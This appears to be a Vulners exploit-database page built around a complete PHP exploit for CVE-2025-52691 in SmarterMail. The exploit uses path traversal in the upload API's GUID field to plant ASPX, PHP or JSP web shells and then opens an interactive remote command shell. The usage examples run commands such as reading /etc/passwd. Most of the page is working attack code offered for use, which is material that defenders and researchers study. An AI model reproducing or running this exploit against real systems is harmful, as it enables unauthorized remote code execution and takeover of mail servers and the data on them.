| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| Exploit for CVE-2025-52691 | 30 Dec 202518:21 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail | 8 Jan 202611:42 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail | 5 Jan 202613:46 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 29 Dec 202516:23 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 30 Dec 202514:58 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail | 23 Jan 202611:48 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 30 Dec 202510:24 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 30 Dec 202518:37 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 30 Dec 202506:13 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 31 Dec 202507:01 | – | githubexploit |
=============================================================================================================================================
| # Title : SmarterMail v 100.0.9413 GUID File RCE Exploit
|
| # Author : indoushka
|
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64
bits) |
| # Vendor : https://www.smartertools.com/smartermail/downloads
|
=============================================================================================================================================
[+] Summary: This PHP code implements a fully automated remote exploitation
framework targeting a vulnerable SmarterMail installation.
It is designed to identify the service, determine the
underlying operating system, abuse a file upload mechanism with path
traversal, and achieve arbitrary file write leading to remote command
execution.
The tool supports multiple payload formats (ASPX, PHP, JSP,
and direct command logic) and dynamically adapts to Windows or Unix-like
environments.
It performs service detection, payload generation, upload delivery,
reachability verification, and optional interactive command execution
through a web-accessible endpoint.
From a security research perspective, the exploit demonstrates
a complete attack chain, starting from insufficient validation in an upload
API and culminating in post-exploitation command execution.
The vulnerability class spans multiple critical weakness categories,
including unrestricted file upload, path traversal, and remote code
execution.
The framework is modular, configurable via command-line
arguments, and capable of adapting payload behavior based on server
response and environment characteristics.
Its design reflects post-exploitation automation rather than a simple proof
of concept.
[+] POC :
# PHP shell with interactive mode : php exploit.php http://victim.com "id"
--type=php --interactive
# ASPX shell for Windows : php exploit.php http://win-server.com
"ipconfig" --type=aspx
# JSP shell with custom command : php exploit.php http://java-app.com
"uname -a" --type=jsp
# Automatic system discovery : php exploit.php http://unknown-os.com
"hostname" --type=php
<?php
class SmarterMailExploit
{
private $targetUrl;
private $targetUri;
private $depth;
private $webRootPort;
private $targetDir;
private $payload;
private $payloadType;
private $curlTimeout = 30;
const PAYLOAD_ASPX = 'aspx';
const PAYLOAD_PHP = 'php';
const PAYLOAD_JSP = 'jsp';
const PAYLOAD_CMD = 'cmd';
public function __construct($options = [])
{
$this->targetUrl = rtrim($options['target_url'] ?? '', '/');
$this->targetUri = '/' . ltrim($options['target_uri'] ?? '', '/');
$this->depth = max(1, intval($options['depth'] ?? 15));
$this->webRootPort = intval($options['web_root_port'] ?? 80);
$this->targetDir = $options['target_dir'] ?? null;
$this->payloadType = $options['payload_type'] ?? self::PAYLOAD_CMD;
if (!isset($options['is_windows'])) {
$this->isWindows = $this->detectWindows();
} else {
$this->isWindows = $options['is_windows'];
}
if ($this->isWindows && empty($this->targetDir)) {
$this->targetDir = '/inetpub/wwwroot';
} elseif (!$this->isWindows && empty($this->targetDir)) {
$this->targetDir = '/tmp';
}
$this->targetDir = rtrim($this->targetDir, '/');
}
private function detectWindows()
{
try {
$url = $this->targetUrl . $this->targetUri . '/';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_NOBODY => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
if ($response !== false) {
$headers = explode("\n", $response);
foreach ($headers as $header) {
if (stripos($header, 'Server:') !== false) {
if (stripos($header, 'IIS') !== false ||
stripos($header, 'Microsoft') !== false ||
stripos($header, 'Win32') !== false) {
curl_close($ch);
return true;
}
}
}
}
curl_close($ch);
return false;
} catch (Exception $e) {
return false;
}
}
public function check()
{
try {
$url = $this->targetUrl . $this->targetUri . '/';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
if ($response === false) {
$error = curl_error($ch);
curl_close($ch);
throw new Exception("HTTP request failed: {$error}");
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200 || $httpCode == 302 || $httpCode == 401) {
if (stripos($response, 'SmarterMail') !== false) {
return true;
}
return null;
}
return false;
} catch (Exception $e) {
error_log("Check failed: " . $e->getMessage());
return false;
}
}
private function generatePayload($command, $payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
switch ($type) {
case self::PAYLOAD_ASPX:
return $this->generateAspxPayload($command);
case self::PAYLOAD_PHP:
return $this->generatePhpPayload($command);
case self::PAYLOAD_JSP:
return $this->generateJspPayload($command);
case self::PAYLOAD_CMD:
default:
return $command;
}
}
private function generateAspxPayload($command)
{
$encodedCommand = rawurlencode($command);
$processStartInfo = 'proc' . bin2hex(random_bytes(4));
$process = 'process' . bin2hex(random_bytes(4));
return <<<EOF
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
Response.ContentType = "text/plain";
Response.Charset = "UTF-8";
string cmd = Request.QueryString["cmd"];
if (string.IsNullOrEmpty(cmd)) {
cmd = System.Uri.UnescapeDataString("{$encodedCommand}");
}
if (!string.IsNullOrEmpty(cmd)) {
try {
ProcessStartInfo $processStartInfo = new ProcessStartInfo();
if (System.Environment.OSVersion.Platform ==
PlatformID.Win32NT) {
$processStartInfo.FileName = "cmd.exe";
$processStartInfo.Arguments = "/c " + cmd;
} else {
$processStartInfo.FileName = "/bin/sh";
$processStartInfo.Arguments = "-c \"" + cmd.Replace("\"",
"\\\"") + "\"";
}
$processStartInfo.RedirectStandardOutput = true;
$processStartInfo.RedirectStandardError = true;
$processStartInfo.UseShellExecute = false;
$processStartInfo.CreateNoWindow = true;
$processStartInfo.StandardOutputEncoding = Encoding.UTF8;
$processStartInfo.StandardErrorEncoding = Encoding.UTF8;
Process $process = Process.Start($processStartInfo);
string output = $process.StandardOutput.ReadToEnd();
string error = $process.StandardError.ReadToEnd();
$process.WaitForExit(30000);
Response.Write("STDOUT:\\n" + output + "\\n\\n");
if (!string.IsNullOrEmpty(error)) {
Response.Write("STDERR:\\n" + error + "\\n");
}
Response.Write("Exit Code: " + $process.ExitCode);
} catch (Exception ex) {
Response.Write("ERROR: " + ex.Message + "\\n" + ex.StackTrace);
}
} else {
Response.Write("No command specified. Use ?cmd=command");
}
}
</script>
EOF;
}
private function generatePhpPayload($command)
{
$encodedCommand = base64_encode($command);
return <<<EOF
<?php
header('Content-Type: text/plain; charset=utf-8');
if (isset(\$_REQUEST['cmd'])) {
\$cmd = base64_decode(\$_REQUEST['cmd']);
} elseif (isset(\$_REQUEST['c'])) {
\$cmd = \$_REQUEST['c'];
} else {
// Default command from payload
\$cmd = base64_decode('{$encodedCommand}');
}
if (!empty(\$cmd)) {
if (function_exists('shell_exec')) {
\$output = shell_exec(\$cmd);
echo \$output !== null ? \$output : "(no output)";
} elseif (function_exists('system')) {
ob_start();
system(\$cmd);
\$output = ob_get_clean();
echo \$output;
} elseif (function_exists('passthru')) {
ob_start();
passthru(\$cmd);
\$output = ob_get_clean();
echo \$output;
} elseif (function_exists('exec')) {
\$output = array();
exec(\$cmd, \$output, \$return_var);
echo implode("\\n", \$output);
echo "\\nExit code: " . \$return_var;
} elseif (function_exists('proc_open')) {
\$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
\$process = proc_open(\$cmd, \$descriptorspec, \$pipes);
if (is_resource(\$process)) {
fclose(\$pipes[0]);
\$stdout = stream_get_contents(\$pipes[1]);
fclose(\$pipes[1]);
\$stderr = stream_get_contents(\$pipes[2]);
fclose(\$pipes[2]);
\$return_value = proc_close(\$process);
echo "STDOUT:\\n" . \$stdout . "\\n\\n";
if (!empty(\$stderr)) {
echo "STDERR:\\n" . \$stderr . "\\n\\n";
}
echo "Exit code: " . \$return_value;
}
} else {
echo "No shell execution functions available";
}
} else {
echo "PHP Shell Ready. Use cmd or c parameter.";
}
?>
EOF;
}
private function generateJspPayload($command)
{
$encodedCommand = base64_encode($command);
return <<<EOF
<%@ page import="java.util.*,java.io.*,java.lang.*" %>
<%
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
// Use default command from payload
cmd = new
String(java.util.Base64.getDecoder().decode("{$encodedCommand}"));
}
if (cmd != null && !cmd.isEmpty()) {
try {
Process p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c",
cmd});
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c",
cmd});
}
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
String s;
out.println("STDOUT:");
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.println("\nSTDERR:");
while ((s = stdError.readLine()) != null) {
out.println(s);
}
p.waitFor();
out.println("\nExit value: " + p.exitValue());
stdInput.close();
stdError.close();
} catch (Exception e) {
out.println("ERROR: " + e.toString());
e.printStackTrace(new PrintWriter(out));
}
} else {
out.println("JSP Shell Ready. Use cmd parameter.");
}
%>
EOF;
}
private function getFileExtension($payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
switch ($type) {
case self::PAYLOAD_ASPX:
return '.aspx';
case self::PAYLOAD_PHP:
return '.php';
case self::PAYLOAD_JSP:
return '.jsp';
case self::PAYLOAD_CMD:
default:
return $this->isWindows ? '.aspx' : '.sh';
}
}
private function uploadPayload($targetDir, $filename, $payloadContents,
$payloadType = null)
{
$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
$extension = $this->getFileExtension($payloadType);
$resumableFilename = bin2hex(random_bytes(4)) . $extension;
$postData = '';
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"context\"\r\n\r\n";
$postData .= "attachment\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"resumableIdentifier\"\r\n\r\n";
$postData .= "{$filename}\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"resumableFilename\"\r\n\r\n";
$postData .= "{$resumableFilename}\r\n";
$traversal = str_repeat('../', $this->depth);
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"contextData\"\r\n";
$postData .= "Content-Type: application/json\r\n\r\n";
$postData .=
"{\"guid\":\"dag/{$traversal}{$targetDir}/{$filename}\"}\r\n";
$randomName = bin2hex(random_bytes(8));
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"{$randomName}\"; filename=\"{$randomName}.txt\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n\r\n";
$postData .= $payloadContents . "\r\n";
$postData .= "--{$boundary}--\r\n";
$url = $this->targetUrl . $this->targetUri . '/api/upload';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postData,
CURLOPT_HTTPHEADER => [
"Content-Type: multipart/form-data; boundary={$boundary}",
"User-Agent: Mozilla/5.0",
"Accept: application/json, */*"
],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5
]);
$response = curl_exec($ch);
if ($response === false) {
$error = curl_error($ch);
curl_close($ch);
throw new Exception("cURL request failed: {$error}");
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode != 200) {
throw new Exception("File upload failed. HTTP Code:
{$httpCode}");
}
$json = json_decode($response, true);
if ($json === null) {
throw new Exception("Invalid JSON response from server");
}
if (!isset($json['key'])) {
throw new Exception("Server response missing 'key' field");
}
$key = $json['key'];
if (!preg_match('/([^\/]+)$/', $key, $matches)) {
throw new Exception("Could not extract filename from key:
{$key}");
}
$uploadedFilename = $matches[1];
echo "[+] Uploaded payload file: {$uploadedFilename}\n";
return $uploadedFilename;
}
private function testPayload($filename, $payloadType, $testCommand =
'whoami')
{
$port = ($this->webRootPort != 80 && $this->webRootPort != 443) ?
":{$this->webRootPort}" : '';
$url = $this->targetUrl . $port . $this->targetUri . '/' .
$filename;
echo "[*] Testing payload at: {$url}\n";
$testUrl = $url;
switch ($payloadType) {
case self::PAYLOAD_ASPX:
$testUrl .= '?cmd=' . urlencode($testCommand);
break;
case self::PAYLOAD_PHP:
$testUrl .= '?cmd=' . base64_encode($testCommand);
break;
case self::PAYLOAD_JSP:
$testUrl .= '?cmd=' . urlencode($testCommand);
break;
}
$ch = curl_init($testUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false) {
echo "[+] Payload test successful. HTTP Code: {$httpCode}\n";
$preview = substr($response, 0, 1000);
if (strlen($response) > 1000) {
$preview .= "...\n[+] Output truncated, " .
(strlen($response) - 1000) . " more characters";
}
echo "[+] Response preview:\n" . $preview . "\n";
return $response;
}
return false;
}
public function executeCommand($filename, $payloadType, $command)
{
$port = ($this->webRootPort != 80 && $this->webRootPort != 443) ?
":{$this->webRootPort}" : '';
$url = $this->targetUrl . $port . $this->targetUri . '/' .
$filename;
switch ($payloadType) {
case self::PAYLOAD_ASPX:
$url .= '?cmd=' . urlencode($command);
break;
case self::PAYLOAD_PHP:
$url .= '?cmd=' . base64_encode($command);
break;
case self::PAYLOAD_JSP:
$url .= '?cmd=' . urlencode($command);
break;
case self::PAYLOAD_CMD:
return $this->executeDirect($command);
}
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false && $httpCode == 200) {
return $response;
}
return "Command execution failed. HTTP Code: {$httpCode}";
}
private function executeDirect($command)
{
return "Direct command execution scheduled: {$command}";
}
public function exploit($command, $payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
$payloadName = 'shell_' . bin2hex(random_bytes(8));
echo "[*] Using payload type: " . strtoupper($type) . "\n";
echo "[*] Target OS: " . ($this->isWindows ? 'Windows' :
'Unix/Linux') . "\n";
$payloadContent = $this->generatePayload($command, $type);
echo "[*] Uploading payload to {$this->targetDir}...\n";
$uploadedFilename = $this->uploadPayload($this->targetDir,
$payloadName, $payloadContent, $type);
echo "[*] Testing payload functionality...\n";
$testResult = $this->testPayload($uploadedFilename, $type);
if ($testResult !== false) {
echo "[+] Payload is active and responding!\n";
echo "[+] Shell URL: " . $this->targetUrl;
if ($this->webRootPort != 80 && $this->webRootPort != 443) {
echo ":{$this->webRootPort}";
}
echo $this->targetUri . '/' . $uploadedFilename . "\n";
echo "\n[+] Usage:\n";
switch ($type) {
case self::PAYLOAD_ASPX:
echo " URL?cmd=whoami\n";
echo " URL?cmd=powershell+-c+\"Get-Process\"\n";
break;
case self::PAYLOAD_PHP:
echo " URL?cmd=" . base64_encode('whoami') . "\n";
echo " URL?c=ls+-la\n";
break;
case self::PAYLOAD_JSP:
echo " URL?cmd=whoami\n";
echo " URL?cmd=ls+-la\n";
break;
}
return [
'filename' => $uploadedFilename,
'type' => $type,
'url' => $this->targetUrl . $this->targetUri . '/' .
$uploadedFilename
];
} else {
echo "[-] Payload uploaded but not responding as expected\n";
return false;
}
}
public function interactiveShell($uploadedFilename, $payloadType)
{
echo "\n[+] Entering interactive mode. Type 'exit' to quit.\n";
while (true) {
echo "shell> ";
$command = trim(fgets(STDIN));
if (empty($command)) {
continue;
}
if (strtolower($command) == 'exit' || strtolower($command) ==
'quit') {
break;
}
$result = $this->executeCommand($uploadedFilename,
$payloadType, $command);
echo $result . "\n";
}
echo "[+] Interactive session ended.\n";
}
}
if ($argv[0] == basename(__FILE__)) {
if ($argc < 3) {
echo "SmarterMail RCE Exploit by indoushka- CVE-2025-52691\n";
echo "=====================================================\n";
echo "Usage: php " . basename(__FILE__) . " <target_url> <command>
[options]\n\n";
echo "Payload Types:\n";
echo " --type=aspx ASP.NET web shell (Windows)\n";
echo " --type=php PHP web shell (Unix/Windows with PHP)\n";
echo " --type=jsp JSP web shell (Java/Tomcat)\n";
echo " --type=cmd Direct command execution (default)\n\n";
echo "Examples:\n";
echo " php exploit.php http://target.com \"whoami\" --type=php\n";
echo " php exploit.php http://target.com \"powershell -c
ipconfig\" --type=aspx\n";
echo " php exploit.php http://target.com \"cat /etc/passwd\"
--type=jsp\n";
exit(1);
}
$targetUrl = $argv[1];
$command = $argv[2];
$options = [
'target_url' => $targetUrl,
'target_uri' => '/smartermail',
'depth' => 15,
'web_root_port' => 80,
'payload_type' => SmarterMailExploit::PAYLOAD_CMD,
'target_dir' => null
];
for ($i = 3; $i < $argc; $i++) {
if (strpos($argv[$i], '--') === 0) {
$parts = explode('=', $argv[$i], 2);
$key = substr($parts[0], 2);
if (isset($parts[1])) {
if ($key == 'depth' || $key == 'port') {
$options[$key] = intval($parts[1]);
} elseif ($key == 'type') {
$validTypes = [
'aspx' => SmarterMailExploit::PAYLOAD_ASPX,
'php' => SmarterMailExploit::PAYLOAD_PHP,
'jsp' => SmarterMailExploit::PAYLOAD_JSP,
'cmd' => SmarterMailExploit::PAYLOAD_CMD
];
if (isset($validTypes[$parts[1]])) {
$options['payload_type'] = $validTypes[$parts[1]];
} else {
echo "[-] Invalid payload type. Valid: aspx, php,
jsp, cmd\n";
exit(1);
}
} else {
$options[$key] = $parts[1];
}
} elseif ($key == 'windows') {
$options['is_windows'] = true;
} elseif ($key == 'linux') {
$options['is_windows'] = false;
} elseif ($key == 'interactive') {
$options['interactive'] = true;
}
}
}
$exploit = new SmarterMailExploit($options);
try {
echo "[*] Checking target...\n";
$checkResult = $exploit->check();
if ($checkResult === true) {
echo "[+] Target appears to be SmarterMail\n";
} elseif ($checkResult === null) {
echo "[?] Service accessible but SmarterMail not confirmed\n";
echo "[*] Continuing...\n";
} else {
echo "[-] Target not accessible\n";
exit(1);
}
echo "[*] Executing exploit...\n";
$result = $exploit->exploit($command);
if ($result !== false) {
echo "\n[+] Exploit successful!\n";
if (isset($options['interactive']) && $options['interactive']) {
$exploit->interactiveShell($result['filename'],
$result['type']);
}
} else {
echo "[-] Exploit failed\n";
exit(1);
}
} catch (Exception $e) {
echo "[-] Error: " . $e->getMessage() . "\n";
exit(1);
}
}
Greetings to
:=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln
(John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation